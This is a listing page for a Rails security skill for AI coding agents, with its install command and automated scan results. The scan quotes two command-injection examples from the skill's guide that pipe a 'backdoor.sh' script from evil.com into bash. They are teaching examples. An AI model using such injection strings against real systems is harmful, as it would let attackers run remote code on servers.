Rails Ai:Security
ListedHelps with AI, security as part of developing backend services and APIs workflows.
Install on your platform
Showing Claude Code. One command installs this skill into any of the agents below.
- 1
Run this in your project
terminal$ npx skills add zerobearing2/rails-ai --skill rails-ai:security -a claude-code Uses the open-source
skillsCLI and needs Node.js. Add-gto install it for your user instead of this project.
What we know about this skill
Publisher
zerobearing2
Taken from the source listing. We haven't verified who controls this account.
Install target
Live repository
Not pinned. Installing fetches whatever the repository holds at the time you run the command.
Automated safety checks
This skill failed 1 of 6 checks. A failure is not proof of bad intent; it means something in the code needs a human to look at it before you run it.
No pipe-to-shell installers: failed
Runs code fetched at install time in 2 places.
No `curl … | sh` pattern, in the code or in the instructions, that runs code fetched at run time.
What it found
- skills/security/SKILL.md:1264remote script piped into a shell
# Attack: params[:size] = "800x600; curl evil.com/backdoor.sh | bash" - skills/security/SKILL.md:1077tells the user to run: remote script piped into a shell(in the instructions, not code)
- **Command Substitution** - `$(curl evil.com/backdoor.sh | bash)`
Declares what it does: passed
SKILL.md parses and declares a name and a description.
SKILL.md exists, its frontmatter parses, and it declares a name and a description.
No undeclared network calls: passed
Makes no network calls.
Every host the skill dials — from its scripts, its config endpoints or the commands it tells the agent to run — is either well-known package and API infrastructure or declared in its own frontmatter. Links in documentation are not counted.
No obfuscated payloads: passed
No encoded or obfuscated payloads.
No base64, hex or compressed blob is decoded and then executed, and no encoded shell commands.
No credential access: passed
Reads no keys, tokens, keychains or credential files.
Neither the code nor the SKILL.md instructions read SSH keys, cloud credentials, keychains, token stores, browser cookie databases or dotfiles that hold secrets.
Pinned to a commit: passed
Scanned zerobearing2/rails-ai at 8ece0d4398.
The exact upstream commit SHA that was scanned is recorded, so the result refers to specific bytes.
- Commit
- 8ece0d4398
- Manifest
- skills/security/SKILL.md
- Scanned
- 1 file, 1,454 lines
About this skill
What it does
The rails-ai:security skill provides automated security analysis and remediation suggestions for Ruby on Rails applications. It can identify common vulnerabilities, suggest code improvements to mitigate risks, and help ensure adherence to secure coding practices within a Rails project. This skill aims to enhance the overall security posture of Rails applications through AI-powered insights.
When to use it
- During development: Integrate into your CI/CD pipeline for continuous security checks as you write new code.
- Before deployment: Run a full scan before pushing changes to production to catch potential vulnerabilities.
- Security audits: Use the skill to supplement manual security reviews and identify areas of concern.
- Legacy codebase review: Analyze older Rails applications to find and address previously undetected security issues.
Key capabilities
- Vulnerability identification
- Code improvement suggestions
- Secure coding practice adherence checks
Example prompts
- "Analyze this Rails controller for potential XSS vulnerabilities."
- "Suggest improvements to the user authentication model in my Rails app."
- "Check this migration file for SQL injection risks."
Tips & gotchas
The skill requires a Ruby on Rails project as input. It's recommended to have a basic understanding of Rails security principles to effectively interpret and implement the suggested remediations.